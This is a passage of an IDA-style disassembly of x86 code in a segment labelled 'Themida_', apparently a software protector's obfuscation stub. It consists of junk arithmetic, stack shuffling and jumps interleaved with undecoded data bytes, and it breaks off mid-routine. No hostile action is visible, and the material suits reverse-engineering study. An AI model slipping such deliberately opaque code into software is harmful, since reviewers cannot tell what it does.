; ---------------------------------------------------------------------------


loc_5477A5:				; CODE XREF: Themida_:00548786j
		push	ecx
		mov	ecx, 43A23659h
		mov	ebx, 43C23659h
		add	ebx, 42261AF3h
		sub	ebx, ecx
		sub	ebx, 42261AF3h
		jmp	loc_547498
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812434h, 4, 4C681h, 0C6810000h, 2, 2474FF56h, 48F5E04h
		dd 24248B24h, 0FFE154E9h, 1C77FFFFh, 6658669Dh,	9C240411h
		dd 0FFB96CE9h, 0B5E95BFFh, 8100001Dh, 4C7h, 4EF8300h, 5C243C87h
		dd 81240489h, 4ECh, 24248900h, 4240481h, 8B000000h, 0BCE92404h
		dd 6600004Fh, 6654D468h, 0F6241489h, 3DE92414h,	8100005Dh
		dd 444B09CFh, 9BF78148h, 895ADD6Bh, 2434FFFBh, 5F2434FFh
		dd 1463E9h, 8BF70100h, 0C4832434h, 2515E904h, 1C310000h
		dd 241C3324h, 0E924248Bh, 18D9h, 582434FFh, 55E28952h
		dd 0AC6E86BDh, 5EDC163h, 8101ED83h, 0FFFFFFC5h,	4EC83FFh
		dd 0BF243C89h, 0FCE29C92h, 0FFD325E9h, 0B8CBE9FFh, 6857FFFFh
		dd 72D24856h, 0FFEF835Fh, 8102E7C1h, 7B15D0CFh,	25C7816Dh
		dd 571084CAh, 0D8215F5Bh, 8B2434FFh, 0FE9241Ch,	0FF00001Fh
		dd 34FF2434h, 24048B24h, 0ECE9h, 4C48100h, 66000000h, 205FB652h
		dd 665A66F7h, 9EB45051h, 0A6E9E188h, 0C1FFFFE0h, 0E94504EDh
		dd 0FFFFF1ADh, 0FFB86CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5478F9:				; CODE XREF: Themida_:0054D6F1j
		mov	edi, 7C1E317Eh
		push	3A0Dh
		jmp	loc_545447
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 4, 2C8BEE01h, 4C48324h, 2C681h, 34330000h
		dd 24343124h, 4998E9h
		db 0
; ---------------------------------------------------------------------------


loc_547929:				; CODE XREF: Themida_:0054845Cj
		add	esp, 4
		add	esi, 5F162CAAh
		jmp	loc_54EDAB
; ---------------------------------------------------------------------------
		dw 5259h
		dd 88F98851h, 705FE9CEh, 14890000h, 4696BA24h, 0DAF71968h
		dd 0EA81D2F7h, 5D5C4A6Bh, 0A352F281h, 0D031AC02h, 5E8C15Ah
		dd 0FFBB5340h, 0E9FFFFFFh, 775Bh
; ---------------------------------------------------------------------------


loc_547970:				; CODE XREF: Themida_:005496CFj
		dec	eax
		or	eax, 691E6FB5h
		add	eax, 0AD7294F0h
		add	ecx, eax
		pop	eax
		push	dword ptr [esp]
		jmp	loc_54CA42
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 1A1Ch
; ---------------------------------------------------------------------------


loc_54798C:				; CODE XREF: Themida_:0054B19Fj
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54C4A9
; ---------------------------------------------------------------------------
		db 21h,	0C1h, 8Bh
		dd 0C4832404h, 8CBD5504h, 13E710Ch, 0D9F75DE9h,	1417E9h
		dd 35CC6800h, 4890000h,	5585424h, 4, 0FFEC94E9h, 1C5F21FFh
		dd 0E99CE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5479DA:				; CODE XREF: Themida_:005476B5j
		sub	edi, 0D88A947Ah
		add	edx, edi
		mov	edi, [esp]
		jmp	loc_543B26
; ---------------------------------------------------------------------------


loc_5479EA:				; CODE XREF: Themida_:00545552j
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		div	cx
		push	14A2h
		mov	[esp], esi
		push	esp
		jmp	loc_54B92A
; ---------------------------------------------------------------------------


loc_547A00:				; CODE XREF: Themida_:0054435Ej
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	edx, 7CC95190h
		mov	ecx, 8C6B211Eh
		sub	ecx, 4B1C6D1Bh
		add	ecx, edx
		jmp	loc_54BD6F
; ---------------------------------------------------------------------------
		dd 0D6AD9EB8h, 59C8298Ah, 4244431h, 8324048Bh, 1CE904C4h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547A33:				; CODE XREF: Themida_:0054AB0Dj
		push	800h
		jmp	loc_545660
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0A0h
		dd 0BF6FC442h, 0A31AF35Ch, 78E0C781h, 0E7E91EA2h, 0FFFFFFB8h
		dd 5E042474h, 8B24048Fh, 0F662424h, 6866C8BEh, 89663739h
		dd 0F6E9240Ch, 5DFFFFB6h, 840FC009h, 57A7h, 6D4E68h, 24048900h
		dd 1614E9h, 81E68900h, 4C6h, 4C68300h, 4A54E9h,	241C8900h
		dd 0B9F68h, 243C8900h, 5D2C34BFh, 0FEE78124h, 81732014h
		dd 0B83FAFF7h, 27C78157h, 81D9D604h, 0CB2188E7h, 6E13E92Dh
		dd 555D0000h, 5657D868h, 0C2E95D7Eh, 8B000005h,	8EE92424h
		dd 5AFFFFB6h, 4C281h, 0D0680000h, 89000014h, 0FBE9242Ch
		dd 6800004Dh, 438Fh, 337AE9h, 0E1C58100h, 81207C66h, 6D7D86CDh
		dd 51D8E93Dh, 0EB290000h, 65B9515Dh, 551E4172h,	30EEE9h
		dd 34875800h, 24248B24h, 9C2424D3h, 0FFB640E9h,	24148BFFh
		dd 0FFEC9BE9h, 0A0E95BFFh, 0FF000065h, 0E9042474h, 0B2Eh
		dd 0E9243C33h, 0EF8h, 0EED2D66h, 0E9F02966h, 22D3h, 4C781h
		dd 0C7810000h, 4, 5C243C87h, 34FFF731h,	0F11DE924h, 0BF57FFFFh
		dd 78F12C9h, 0E95FFD09h, 75EDh,	2D6EC581h, 72E92E3Ch, 5CFFFFFFh
		dd 0E9240489h, 436Fh, 3C91EA81h, 0E95675E7h, 0DEEh, 0CD815A5Dh
		dd 145D29AFh, 0FFBE5645h, 81FFFFFFh, 0EE6BCFEDh, 51F50165h
		dd 0FFE19FE9h, 39DBFFFh, 74E92F96h, 0B900004Eh,	4, 0C8BCE01h
		dd 4C48324h, 2BD55h, 0C6810000h, 500B5FFAh, 4FFFC681h
		dd 0EE014F8Bh, 4FFFEE81h, 0EE814F8Bh, 500B5FFAh, 52242C8Bh
		dd 0FFF09FE9h, 0E9D689FFh, 4141h, 14E9D5F7h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547C03:				; CODE XREF: Themida_:005463D9j
		push	ebx
		jmp	loc_5498DF
; ---------------------------------------------------------------------------


loc_547C09:				; CODE XREF: Themida_:005464B0j
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		or	edx, eax
		jmp	loc_54A725
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0B6E90000h, 8BFFFFDBh, 0C4812414h, 4, 8B66F800h, 0C481241Ch
		dd 2, 0C1B55153h, 0B728B551h, 0E542E9B8h, 489FFFFh, 3BFDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547C4A:				; CODE XREF: Themida_:00543DF5j
		add	ebp, 13F5B91Fh
		sub	edx, ebp
		pop	ebp
		add	ecx, edx
		pop	edx
		jmp	loc_54AAFA
; ---------------------------------------------------------------------------
		db 83h
		dd 2CE904ECh, 0FF000074h, 68582434h, 1DCh, 89241489h, 0BD5556E2h
		dd 4, 520EE9h, 68665900h, 8966658Ah, 5352241Ch,	1E5BE9h
		dd 2474FF00h, 48F5904h,	22BDE924h, 0F0010000h, 6824348Bh
		dd 12D2h, 89243C89h, 67BA52E7h,	52527269h, 0E92414F7h
		dd 0FFFFF436h, 5943BD55h, 0EB293EA9h, 50FB015Dh, 1F2BE9h
		dd 0EEC15E00h, 5EABE906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547CD2:				; CODE XREF: Themida_:005439EFj
		add	esp, 4
		and	ecx, eax
		pop	eax
		jmp	loc_54B62C
; ---------------------------------------------------------------------------


loc_547CDD:				; CODE XREF: Themida_:0054838Cj
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_544EDD
; ---------------------------------------------------------------------------
		dw 8F64h
		dd 0B46FE902h, 8B66FFFFh, 0EC812404h, 4, 83241489h, 248904ECh
		dd 24048124h, 4, 0E92434FFh, 0CE8h, 433168ADh, 0D6E90000h
		dd 31FFFFC5h, 0F7CB31D9h, 0E9CB87D1h, 0FFFFED06h
; ---------------------------------------------------------------------------


loc_547D30:				; CODE XREF: Themida_:00543820j
		add	ebx, edi
		sub	ebx, 1E683386h
		push	dword ptr [ebx]
		pop	ecx
		pop	ebx
		push	eax
		push	213B1CFDh
		pop	eax
		inc	eax
		push	327Dh
		mov	[esp], edx
		mov	edx, 686710Ah
		jmp	loc_54880C
; ---------------------------------------------------------------------------


loc_547D56:				; CODE XREF: Themida_:0054F23Ej
		xor	ebx, [esp]
		xor	[esp], ebx
		not	ebx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, 652F470Ah
		push	0
		sub	[esp], ebp
		pop	ebp
		jmp	loc_544040
; ---------------------------------------------------------------------------
		dd 565CB2BBh, 26F3810Dh, 8959945Ah, 0EDC15BDDh,	81D5F705h
		dd 1C5h, 6EFDE900h, 0E95E0000h,	0FFFFE826h
; ---------------------------------------------------------------------------


loc_547DA0:				; CODE XREF: Themida_:005435C5j
		pop	eax
		jmp	loc_54F0A4
; ---------------------------------------------------------------------------
		dw 5168h
		dd 89000004h, 0E0E9241Ch, 66FFFFDEh, 0FC3305Bh,	5BE9C0B6h
		dd 68FFFFB8h, 5098h, 0B8240489h, 1000000h, 0E904EC83h
		dd 3387h, 5AF388h, 241C8BD8h, 731E68h, 605EE900h, 0DA2D0000h
		dd 11AB835h, 35DA05F8h,	0BB531AB8h, 53021A11h, 0E95BD801h
		dd 0FFFFF656h, 0E99C5066h, 0FFFFB35Dh, 2023E9ADh, 2C890000h
		dd 65E95324h, 89FFFFFFh, 0BDE95BDAh, 0FF000029h, 589D1C77h
		dd 9C240419h, 0FFB338E9h, 1EA81FFh, 0C1000000h,	0CA8103EAh
		dd 6AF43B1Bh, 7F1BBE56h, 5FE96AFEh, 5AFFFFC0h, 335EF101h
		dd 0C31240Ch, 0E3BCE924h, 0F301FFFFh, 4CD7C381h, 92E92E80h
		dd 51000033h, 0E904EC83h, 0FFFFF38Ah, 4C481h, 0C3290000h
		dd 4078BA52h, 0C3814804h, 164A00C6h, 0EB81D329h, 164A00C6h
		dd 0E953515Ah, 5F6Bh, 0E55D292Dh, 8BC30100h, 0C4832404h
		dd 4615E904h, 0C6310000h, 20778958h, 0EC83535Eh, 242C8904h
		dd 8D5A72BDh, 0BE00E958h, 2958FFFFh, 0BBF8E9C5h, 2B9FFFFh
		dd 81000000h, 193097EEh, 6EC68108h, 0E9241727h,	0FFFFB4A7h
		dd 3118E8C1h, 5A3768C8h, 4890000h, 0D7EDE924h, 15FFFFFh
		dd 0DF08E9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547EF2:				; CODE XREF: Themida_:00549D0Bj
		add	eax, 2FC007BFh
		add	eax, esi
		jmp	loc_54D316
; ---------------------------------------------------------------------------
		dw 0E888h
		dd 0FEC8FE59h, 0E9BE04C0h, 37B1h, 0A984F681h, 0C1E9D9A3h
		dd 2900006Dh, 2E60E9EFh, 0EC810000h, 4,	56241C89h, 487FC0BEh
		dd 0F4B5BB50h, 0F329B48Dh, 5E3C15Eh, 20E1E9h, 0EB814B00h
		dd 5CA40B32h, 0FFB59FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547F49:				; CODE XREF: Themida_:00543C26j
		pop	esp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54F115
; ---------------------------------------------------------------------------
		dd 1905D1BDh, 5DEA0133h, 0F281D2F7h, 563C78D8h,	5E5AD101h
		dd 5A94E9h
		db 0
; ---------------------------------------------------------------------------


loc_547F71:				; CODE XREF: Themida_:0054D835j
		sub	eax, ebp
		pop	ebp
		mov	edx, eax
		pop	eax


loc_547F77:				; CODE XREF: Themida_:loc_546B84j
					; Themida_:0054C336j
		push	54CCh
		jmp	loc_54ABE8
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FFC1D8E9h, 0A8E957FFh, 5E000056h, 4246C29h,	0C2815A5Dh
		dd 2D510F4Eh, 34FFD089h, 0CE2E924h, 0ED810000h,	348B2244h
		dd 0C581FD01h, 348B2244h, 8BEF295Fh, 0C481242Ch, 4, 0E907E7C1h
		dd 0FFFFC1E6h, 8105E6C1h, 8F1947EEh, 81DEF724h,	191BFAEEh
		dd 69EE810Dh, 14B3815h,	0EC815EF7h, 4, 0E9242C89h, 172Dh
		dd 0E981D101h, 3BF95AA0h, 0CE7CE95Ah, 62E9FFFFh, 5FFFFFB1h
		dd 23E9h, 0F7D7F700h, 4C91E9DFh, 0CE290000h, 3CECEE81h
		dd 5559603Eh, 0B1465F68h, 0F40FE937h, 0E953FFFFh, 32A3h
		dd 1C1AE950h, 1FB30000h, 885BD888h, 29FEE9C6h, 0E6810000h
		dd 278D1A58h, 2D45CE81h, 0EE81395Ch, 19C00B85h,	0FFFEB7E9h
		dd 0E68956FFh, 4BB53h, 0DE010000h, 0FFF794E9h, 4C483FFh
		dd 5D2DB850h, 1DE900E5h, 0BFFFFFFEh, 2,	2BB3E9h, 0E9028F00h
		dd 0FFFFB0E1h, 22BFC281h, 0D2F720F3h, 1CFDE9h, 0C1D5F700h
		dd 0E5C103E5h, 0D3ED8106h, 0E90FA497h, 0FFFFFA62h, 5E2434FFh
		dd 4C481h, 86E90000h, 81000017h, 42404h, 0ADE90000h, 0FFFFFFC6h
		dd 34FF2434h, 0C4815924h, 4, 5E08950h, 4, 0E904E883h, 5983h
		dd 34FFD601h, 0C4835A24h, 4EE8304h, 2474FF56h, 3E95E04h
		dd 6600002Fh, 455D68ADh, 34890000h, 77BE6624h, 0EE81666Dh
		dd 29662BA6h, 53E7E9F0h, 0E6890000h, 4C681h, 0EC830000h
		dd 243C8904h, 4BFh, 8BFE0100h, 0E4E9243Ch, 89000011h, 0E189240Ch
		dd 591068h, 38C7E900h, 0E1890000h, 4C181h, 0C1810000h
		dd 4, 5C240C87h, 9F6EE81h, 0B1681BCFh, 89000057h, 52B82404h
		dd 154590Eh, 0ED76E9C6h, 0E181FFFFh, 0D817222h,	0D1F7E1D1h
		dd 0C107E1C1h, 0F18104E1h, 0C2D7ECBDh, 8159CE29h, 7851D1EEh
		dd 0C6815D5Eh, 2, 8B243487h, 88642424h,	0AFCBE902h, 0C181FFFFh
		dd 31F41076h, 0E981D901h, 31F41076h, 7BF6E981h,	0C18158B9h
		dd 57CE44EBh, 0E92434FFh, 43E4h, 4EB81h, 1C870000h, 1C895C24h
		dd 525B5424h, 4BAh, 5AD30100h, 4EB81h, 1C870000h, 24248B24h
		dd 89240489h, 405E0h, 0F4E90000h, 0FFFFFFE9h, 81582434h
		dd 4C4h, 6810E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5481FE:				; CODE XREF: Themida_:0054C184j
		push	eax
		mov	eax, 31BC56B9h
		sub	ecx, eax
		jmp	loc_54721B
; ---------------------------------------------------------------------------


loc_54820B:				; CODE XREF: Themida_:0054B7D7j
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5463D2
; ---------------------------------------------------------------------------
		db 4
		dd 58C52814h, 80C1E580h, 0EA304EF5h, 0B6526659h, 0E9F0000Fh
		dd 0FFFFC9ADh, 33243431h, 62E92434h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548243:				; CODE XREF: Themida_:0054DBFBj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_546DB1
; ---------------------------------------------------------------------------
		dw 0C6BAh
		dd 6805507Ch, 0
		dd 5A241429h, 814AD2F7h, 0AF8340C2h, 1769E9FAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548272:				; CODE XREF: Themida_:00548D18j
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_5455C4
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 8104C483h, 0CA04246Ch, 1755B64h, 0E9042444h,	3BBFh
		dd 0E907C580h, 0FFFFE721h, 8B66DA30h, 0C483241Ch, 0FFEA8002h
		dd 0E989EA80h, 1D14h, 24D2B951h, 0C9813DEDh, 66376A70h
		dd 11C18149h, 0C1603A5Dh, 0E1C106E9h, 0B075E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5482D2:				; CODE XREF: Themida_:0054D208j
		add	bx, 0C81h
		add	bx, 6478h
		jmp	loc_54998F
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 8B2434FFh, 0C4832414h, 4EC8304h, 89243C89h, 0BA5253E7h
		dd 4C553111h, 815AD389h, 6A7550F3h, 0DACB816Ah,	8150817Ah
		dd 0BF7ED7EBh, 0FFDF0176h, 1C8B2434h, 4C48124h,	83000000h
		dd 0C78304C4h, 243C3304h, 33243C31h, 248B243Ch,	0B372E924h
		dd 0D6F7FFFFh, 4FADEE81h, 76E95643h, 8B00004Fh,	0E8E9240Ch
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54834B:				; CODE XREF: Themida_:0054599Aj
		add	esp, 4
		jmp	loc_547009
; ---------------------------------------------------------------------------
		dw 0AE9h
		dd 81FFFFAEh, 4C2h, 4EA8100h, 0E9000000h, 39C5h, 240C8966h
		dd 0FFADF0E9h, 0C8B66FFh, 5F545724h, 0E904EC83h, 2529h
; ---------------------------------------------------------------------------


loc_548384:				; CODE XREF: Themida_:0054B7FAj
		mov	eax, esp
		add	eax, 4
		push	edx
		jmp	loc_547CDD
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0EB010000h, 0D518E95Dh, 1C89FFFFh, 4B526824h, 0A9E97B64h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5483AB:				; CODE XREF: Themida_:005494AEj
		push	ebx
		mov	bh, 0AEh
		sub	al, bh
		jmp	loc_548709
; ---------------------------------------------------------------------------
		db 5Bh,	43h, 81h
		dd 4D7EE6F3h, 8BDD896Eh, 0C483241Ch, 0B4FDE904h, 0F681FFFFh
		dd 38A0092Ch, 4CB85046h, 2D1A4E20h, 7A323907h, 750DD0F7h
		dd 0E968944Ah, 1B8Eh, 0E92434FFh, 321h,	4EC83ACh, 0B6241489h
		dd 0E9D6F631h, 0FFFFED77h, 0C181E189h, 4, 4BF57h, 0F9010000h
		dd 240C875Fh, 468505Ch,	58000000h, 8358C101h, 6FE904C1h
		dd 59FFFFBDh, 4EC81h, 1C890000h, 0C5885124h, 5059EB88h
		dd 0CE768h, 6F5CE900h, 295A0000h, 359EE9CAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54844A:				; CODE XREF: Themida_:0054E4A8j
		pop	edx
		add	ecx, 2A535AFFh
		sub	ecx, 2A85B546h
		add	esi, ecx
		mov	ecx, [esp]
		jmp	loc_547929
; ---------------------------------------------------------------------------
aTlSx3		db 'T,$3',0
		align 2
		dw 1C89h
		dd 575B5424h, 7E1520BFh, 68DFF765h, 6CC3h, 0BD242C89h
		dd 276925FEh, 34FFEF31h, 940E924h, 4890000h, 48B5424h
		dd 4C48124h, 53000000h,	5265D0BBh, 5AFFE954h, 3C8B0000h
		dd 4C48124h, 68000000h,	2860h, 55240489h, 3D96E9h, 5A5C6800h
		dd 0E9583821h, 0FFFFC724h, 3302C783h, 3C31243Ch, 243C3324h
		dd 6624248Bh, 68240C8Bh, 2012h,	54240489h, 582434FFh, 5104C483h
		dd 1C00ACB9h, 0D1F74968h, 57F18149h, 0E997E3FFh, 2EB7h
		dd 5EF0895Ah, 5658C389h, 0FFB7B9E9h, 0BF575BFFh, 165B08B5h
		dd 0B951DFF7h, 27DE4E96h, 0F759CF21h, 0EFC14FD7h, 49EF8104h
		dd 29DDCA4Dh, 0F9B8E9FEh, 0C4BFFFFFh, 814B237Eh, 572442F7h
		dd 0E9F8215Bh, 261Bh, 24048B66h, 0FFDEC9E9h, 1BE56FFh
		dd 1000000h, 24348BF3h,	4C481h,	36E90000h, 5400006Dh, 0FFCFBDE9h
		dd 24048BFFh, 564A6853h, 24890000h, 24048324h, 2434FF04h
		dd 81241C8Bh, 4C4h, 437FE900h, 315B0000h, 0D18959CAh, 6BE1815Ah
		dd 810C3324h, 0B041F7C1h, 82E18134h, 0C1356A48h, 0E98108E9h
		dd 0F84E85C0h, 497CE9h,	2CDE6800h, 4890000h, 68BDB024h
		dd 67D0h, 0FFADA4E9h, 6B2EBDFFh, 0ED816D4Eh, 7027AAAh
		dd 0CED814Dh, 8102DE01h, 9A58B0CDh, 0B3BB5374h,	0C17BFD0Dh
		dd 0E94302E3h, 51A1h, 840FC009h, 0FFFFCDBAh, 4EC8156h
		dd 89000000h, 4832424h,	555E0424h, 0FFE385E9h, 34FF5CFFh
		dd 0EC835924h, 242C8904h, 607A68h, 24248900h, 4BA52h, 54010000h
		dd 8B5A0424h, 6E9242Ch,	66FFFFECh, 0E9241C8Bh, 0FFFFB424h
		dd 0E956E089h, 0FFFFD0AFh, 622AC781h, 1FE9160Ch, 81FFFFB8h
		dd 4ECh, 242C8900h, 7F1BE56h, 0E9520907h, 0FFFFC4CEh
; ---------------------------------------------------------------------------


loc_548660:				; CODE XREF: Themida_:00543657j
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_54890D
; ---------------------------------------------------------------------------
		dw 8F5Dh
		dd 248B2404h, 0C8BF0F24h, 32F268h, 240C8900h, 0FFAAE4E9h
		dd 5BD989FFh, 8159CB01h, 435F5BC3h, 6850516Eh, 0B17h, 0B3241C89h
		dd 5BD88879h, 5104E8C0h, 809DB353h, 0EB80D3EBh,	0C2CB8001h
		dd 88C6C380h, 0C376E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5486B6:				; CODE XREF: Themida_:00548F4Aj
		pop	ebx
		jmp	loc_54D9C2
; ---------------------------------------------------------------------------


loc_5486BC:				; CODE XREF: Themida_:005435AEj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		add	ecx, 4
		jmp	loc_54EFA9
; ---------------------------------------------------------------------------
		dd 5FD45D35h, 0E5F0E928h, 34FFFFFFh, 2434FF24h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54426D
; ---------------------------------------------------------------------------
		db 66h
		dd 5024048Bh, 261BE9h, 7E95E00h, 52000007h, 0FFED62E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548709:				; CODE XREF: Themida_:005483B0j
		pop	ebx
		sub	al, 93h
		jmp	loc_5488D9
; ---------------------------------------------------------------------------
		db 5Fh,	83h, 0C4h
		dd 4BEB8104h, 686D862Bh, 596h, 0BA241489h, 0F075669h, 0FFD83DE9h
		dd 0EF815DFFh, 770D2AD3h, 230EEF81h, 0EF2918BEh, 230EC781h
		dd 0E95518BEh, 0FFFFE11Eh, 1C6BC781h, 0A3E92A93h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548753:				; CODE XREF: Themida_:0054F4B5j
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		mov	eax, 31957130h
		mov	esi, 0CE6A8ED1h
		add	esi, eax
		jmp	loc_547559
; ---------------------------------------------------------------------------


loc_548776:				; CODE XREF: Themida_:005453DBj
		pop	edi
		add	edx, esi
		pop	esi
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5477A5
; ---------------------------------------------------------------------------


loc_54878B:				; CODE XREF: Themida_:00544119j
		push	esi
		mov	esi, 440F4B9Dh
		sub	ebp, esi
		pop	esi
		sub	ebp, eax
		push	edi
		jmp	loc_54659D
; ---------------------------------------------------------------------------
		dd 81E9D8B7h, 29FFFFB5h, 0C675E9D7h, 74FFFFFFh,	8F5E0424h
		dd 3CE92404h, 66000056h, 56CCB60Fh, 0E957E689h,	0FFFFF279h
; ---------------------------------------------------------------------------


loc_5487C4:				; CODE XREF: Themida_:00544C75j
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		push	eax
		xor	[esp], ebp
		jmp	loc_546F1A
; ---------------------------------------------------------------------------


loc_5487E4:				; CODE XREF: Themida_:00545B82j
		and	ch, dh
		pop	edx
		jmp	loc_54AD9E
; ---------------------------------------------------------------------------
		dd 2BB53h, 0DD010000h, 242C335Bh, 2B9BE9h, 5EF52100h, 0FFB0DAE9h
		dd 0E9D0F7FFh, 6A6Ah
; ---------------------------------------------------------------------------


loc_54880C:				; CODE XREF: Themida_:00547D51j
		or	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		shr	eax, 7
		or	eax, 695740CBh
		push	0
		sub	[esp], eax
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54F44C
; ---------------------------------------------------------------------------
		dw 38B5h
		dd 2869F580h, 240C8BE8h, 0E904C483h, 3FE3h, 4FCF68h, 193CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548852:				; CODE XREF: Themida_:00547488j
		inc	eax
		not	eax
		dec	eax
		add	eax, 7D8D15BEh
		xor	eax, 5E28D84Ch
		mov	edi, eax
		pop	eax
		add	[esp+4], edi
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_54663C
; ---------------------------------------------------------------------------
		dd 0D044E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548882:				; CODE XREF: Themida_:0054DAB1j
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		pop	esi
		push	ecx
		mov	ecx, 199D4C7Fh
		jmp	loc_54E33D
; ---------------------------------------------------------------------------


loc_54889C:				; CODE XREF: Themida_:0054C9FEj
		mov	ah, dh
		mov	edx, [esp]
		jmp	loc_543BB5
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 0FFBC64E9h, 48B66FFh, 4EC8324h, 54241C89h, 3333E9h
		dd 3CD25C00h, 9EE99C24h, 66FFFFA8h, 0E924048Bh,	0FFFFC9AFh
		dd 5C24048Fh, 0FFAD67E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5488D9:				; CODE XREF: Themida_:0054870Cj
		sub	al, cl
		add	al, 93h
		push	cx
		mov	cl, 0AEh
		jmp	loc_54D1D8
; ---------------------------------------------------------------------------
aYs_0		db 'Y]',0
		align 4
		dd 8704C583h, 0E95C242Ch, 0FFFFA86Dh, 4C4815Ah,	81000000h
		dd 4ECh, 242C8900h, 0FFF226E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54890D:				; CODE XREF: Themida_:00548665j
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		push	esi
		mov	esi, 4
		sub	edx, esi
		pop	esi
		xchg	edx, [esp]
		jmp	loc_54B192
; ---------------------------------------------------------------------------
		db 50h
		dd 8852D088h, 8BF388C6h, 0AE92414h, 0BB00001Eh,	4, 685BDE01h
		dd 1885h, 0E9240C89h, 0FFFFF576h, 8106EFC1h, 3A0BC5C7h
		dd 0C1F78133h, 81338A8Bh, 0DB515AC2h, 81FA015Fh, 0DB515AEAh
		dd 0BF575F5Fh, 4, 875FFA01h, 248B2414h,	0DCCCE924h, 5AF7FFFFh
		dd 3294E938h, 44BE0000h, 165A26Dh, 1ECE9F2h, 89660000h
		dd 0A7E92404h, 100005Eh, 0D7EF81F7h, 5E195943h,	4EC81h
		dd 1C890000h, 0ACBF5724h, 0E905C20Ch, 0FFFFD468h, 5BEE814Eh
		dd 12441C0h, 0EA835EF2h, 24148704h, 240C895Ch, 3F174868h
		dd 0E9815929h, 0F93716E9h, 0D27BA52h, 0E28114CDh, 1F0E1403h
		dd 5BFFE953h, 248B0000h, 24042124h, 0A76FE99Ch,	0F801FFFFh
		dd 0E904EC83h, 866h, 5B02E95Ah,	8B660000h, 14E92404h, 81000023h
		dd 0B116ECC5h, 81D5016Ch, 0B116ECEDh, 0ACED816Ch, 8B485021h
		dd 11E92414h, 8100003Ah, 4C6h, 2C68100h, 0E9000000h, 2116h
		dd 0E9243C31h, 0FFFFC09Ch, 5506E0C1h, 90336ABDh, 5DE82924h
		dd 6ECBC381h, 0CBE90255h, 68FFFFDAh, 0
		dd offset dword_445750+8E99h
		dd 0C04FB100h, 0CFE907E9h, 8BFFFFECh, 0C8312424h, 81C33159h
		dd 0A77738C2h, 2AC2810Bh, 53101601h, 29068668h,	0E3C15B05h
		dd 85EB8105h, 817A8429h, 1436EACBh, 582AE94Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548A9E:				; CODE XREF: Themida_:0054CA43j
		add	esp, 4
		push	edx
		push	edi
		mov	edi, 4
		push	esi
		mov	esi, edi
		mov	edx, esi
		pop	esi
		pop	edi
		jmp	loc_54D026
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFFA6A1h
; ---------------------------------------------------------------------------


loc_548AC4:				; CODE XREF: Themida_:0054477Ej
		xor	ebp, 40D57FBCh
		shr	ebp, 4
		push	ecx
		mov	ecx, 1BDD1514h
		sub	ebp, 622B4483h
		sub	ebp, ecx
